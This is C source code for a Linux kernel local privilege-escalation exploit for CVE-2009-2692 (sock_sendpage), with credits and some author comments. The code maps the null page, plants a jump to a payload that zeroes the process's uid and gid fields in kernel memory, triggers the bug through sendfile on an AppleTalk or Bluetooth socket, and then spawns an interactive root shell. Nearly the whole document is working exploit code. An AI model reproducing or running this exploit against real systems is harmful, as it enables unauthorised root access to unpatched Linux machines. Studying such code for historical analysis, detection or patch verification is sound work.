**
** 0x82-CVE-2009-2692
** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver)
** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x.
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** spender and venglin's code is very excellent.
** Thankful to them.
**
** Greets: Brad Spengler
** Przemyslaw Frasunek
** --
** exploit by
**
** "Slow and dirty exploit for this one"
**
*/
#include
#include
#include
#include
#include
#include
unsigned int uid, gid;
void kernel_code()
{
unsigned long where=0;
unsigned long *pcb_task_struct;
where=(unsigned long )&where;
where&=~8191;
pcb_task_struct=(unsigned long *)where;
while(pcb_task_struct){
if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&&
pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&&
pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&&
pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){
pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0;
pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0;
break;
}
pcb_task_struct++;
}
return;
/*
** By calling iret after pushing a register into kernel stack,
** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
**
** kernel_code() function will return to its previous status which means before sendfile() system call,
** after operating upon a ring0(kernel mode) privilege level.
** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
*/
}
void *kernel=kernel_code;
int main(int argc,char *argv[])
{
int fd_in=0,fd_out=0,offset=1;
void *zero_page;
uid=getuid();
gid=getgid();
if(uid==0){
fprintf(stderr,"[-] check ur uid\n");
return -1;
}
/*
** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet)
*/
if(personality(0xffffffff)==PER_SVR4){
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
perror("[-] mprotect()");
return -1;
}
}
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
perror("[-] mmap()");
return -1;
}
*(char *)0x00000000=0xff;
*(char *)0x00000001=0x25;
*(unsigned long *)0x00000002=(unsigned long)&kernel;
*(char *)0x00000006=0xc3;
if((fd_in=open(argv[0],O_RDONLY))==-1){
perror("[-] open()");
return -1;
}
if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){
if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
}
gogossing:
/*
** Sometimes, the attacks can fail. To enlarge the possiblilty of attack,
** an attacker can make all the processes runing under current user uid 0.
*/
if(sendfile(fd_out,fd_in,&offset,2)==-1){
if(offset==0){
perror("[-] sendfile()");
return -1;
}
close(fd_out);
fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0);
}
if(getuid()==uid){
if(offset){
offset=0;
}
goto gogossing; /* all process */
}
close(fd_in);
close(fd_out);
execl("/bin/sh","sh","-i",NULL);
return 0;
}
/* eoc */